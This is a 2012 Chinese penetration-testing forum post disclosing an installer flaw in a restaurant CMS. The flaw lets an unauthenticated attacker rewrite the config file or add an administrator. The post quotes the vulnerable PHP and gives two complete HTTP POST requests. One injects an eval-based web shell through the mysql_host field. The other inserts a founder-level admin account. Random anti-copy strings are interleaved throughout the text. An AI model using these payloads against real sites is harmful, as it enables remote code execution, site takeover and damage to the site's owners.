中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
# D# }8 z8 |7 F. F/ F
' r; ?, a6 J! V- t [ V
<?php
% O+ Z9 p0 D3 @6 o: |0 |* C
if(file_exists("../install.lock"))
0 f( i/ V0 n0 u) i) R1 R' _
{
. X$ K$ J: @) y+ h- N) Q" h5 J) P" J
header("Location: ../");//没有退出
) x6 T6 L, ~! M8 @9 D* g
}
' d2 x! b5 |6 ]6 m \2 I
# l A) L; k4 W6 ~8 V# |
//echo 'tst';exit;
6 F2 \- I; M: M
require_once("init.php");
3 E6 T, }7 h" j s3 D
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 `' V! e. h8 ]* e& c
{
8 o0 F- v+ y: C6 g* u3 ~
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
+ }& L8 w' F: r6 N: r
/ `5 A. R4 X, m8 N+ m/ _
1、getshell(很危险)
/ C2 F$ p6 Q* X) ?" `
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. H9 M& I2 p1 N
{
$ K7 P& H. Q5 P- E; P. l
$smarty->assign("step",1);
0 H3 ^7 c9 V& t2 ?2 F0 B$ {; J
$smarty->display("index.html");
2 ]$ D8 Z# ?& U+ G) W; C
}elseif($_REQUEST['step']==2)
' f& x- Y1 W7 x* { o0 J, K
{
' x' _4 l4 F, K1 _8 P
$mysql_host=trim($_POST['mysql_host']);
+ m+ F- u0 v4 o; f) b
$mysql_user=trim($_POST['mysql_user']);
. \+ {) V4 ^& H0 V+ t2 k
$mysql_pwd=trim($_POST['mysql_pwd']);
% R: y/ B$ S) U3 u9 Z
$mysql_db=trim($_POST['mysql_db']);
+ t" d H% x' u% _, n
$tblpre=trim($_POST['tblpre']);
2 v# G' Z: {/ P% o6 }; [& `6 P3 g
$domain==trim($_POST['domain']);
/ S8 ] z! d* p. g3 Q7 w6 u
$str="<?php \r\n";
0 b8 A- i+ e( f$ W# X& k
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
. b' z7 U( b: { N1 \3 [
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
& M" o' ^& g6 t8 O
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
* c2 u/ m& h- I: J- C5 y0 g$ N
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 f& z4 ]- Y/ m- ^& e, O/ G
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
: H, f r, G/ {
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
, v1 q; R( E1 u- J$ n0 F
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
: H8 n* Q7 X; N9 ?5 {. }
$str.='define("SKINS","default");'."\r\n";
6 ?0 Z+ {0 x5 a: N8 a% P% Y
$str.='?>';
9 j: g, s; E& `$ H6 S
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
/ P" K' T3 O5 ? _+ L: f2 G
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
' f' e9 [1 O: q+ O( s5 T
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
0 H, R# B0 z8 V* Z+ t, g
Host: 192.168.80.129
) m+ j0 f# E9 W" ]( B
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 u3 S% y) e5 t- w4 x: s* C0 Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: w$ T7 X% t, U8 l& }
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( Q! l& T" H$ m
Accept-Encoding: gzip, deflate
$ g) j6 m2 w0 M% r! Y& x
Referer:
http://192.168.80.129/canting/install/index.php?step=1
* ~: W. K, t: f: s0 |8 C9 f# ]* ]
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
6 S. ^( V/ ]& k$ x5 V# Y' ]
Content-Type: application/x-www-form-urlencoded
8 ]0 n+ I% Y/ n7 i
Content-Length: 126
" Y. ?. ~, c: d' i
, l3 u3 K4 x( O4 a
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
1 Z$ Y- N' `6 n
但是这个方法很危险,将导致网站无法运行。
5 p% f: @" }6 [" c- M
$ z+ C! Q# l! c, B# c6 Y
2、直接添加管理员
' I7 W9 ~* L7 p" R y
# }1 ~% Y1 B* x5 X% }
elseif($_REQUEST['step']==5)
" [# B9 \* S- W% |% f" o- N# z
{
" n+ H9 \4 w; N2 O
if($_POST)
: m( T5 m' ]) m
{ require_once("../config/config.inc.php");
0 l. i* L* A2 {4 U$ J. u5 \
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
4 U, l% I# S! f9 i+ {$ N
mysql_select_db(MYSQL_DB,$link);
0 x9 R# T& C9 O) C" ?
mysql_query("SET NAMES ".MYSQL_CHARSET );
. u3 [# n% L( Q. u: c) u
mysql_query("SET sql_mode=''");
& z! s% {! o' ]
# i0 J, w% n$ Q0 U5 m
$adminname=trim($_POST['adminname']);
; C; e/ J5 Z; p1 i4 v
$pwd1=trim($_POST['pwd1']);
3 m8 Q( | U& d/ ^+ ~$ U
$pwd2=trim($_POST['pwd2']);
3 P7 X; _' f6 `) @2 e
if(empty($adminname))
* b8 E& x- Z9 x& s5 U( Y5 x
{
Y' c; Z. T) s, o, M8 P& U8 \) ?
3 t. x, k0 U. ^: S
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
* y* E8 q5 w# v5 M/ e7 H
exit();
3 c% ]2 r! O" E, @
}
/ Q: a2 |5 u' D- t& ?. u; t
if(($pwd1!=$pwd2) or empty($pwd1))
% x2 m w& `6 M& L6 p
{
4 z: g6 M/ z& g) B
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
; T9 F. B# c1 S; O0 `+ X j9 {1 d
}
5 S# [ f2 }2 p# b' g+ ~0 s
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
. I7 z9 y- |: k+ G; Z
}
* x* k% z6 [; e' z3 |5 x6 H2 N
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
, \6 @ k+ Z: M6 Q+ J* q# t; a
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
9 K9 u3 l7 ^' x& v3 o2 O
Host: 192.168.80.129
9 j+ { W% Z% V/ G/ D
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
l( N$ S+ J% Y+ ]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
( X5 f' Y5 N" ?3 B# t
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
+ F @/ O6 q, h; ~0 S. i2 S
Accept-Encoding: gzip, deflate
6 t) o% M$ g5 k+ d: k: I- \
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
q; W/ B( Y) n. x$ O. _0 A; N7 V
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
4 |4 w+ k, `+ Z" y& {$ h8 P
Content-Type: application/x-www-form-urlencoded
! U: v/ |, ~; S- Y/ G- u- S/ ~
Content-Length: 46
4 L2 g# N" u b7 [4 q
: P( i0 y% F3 i1 E! g
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
I4 \+ |" `9 c* h$ K4 b
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2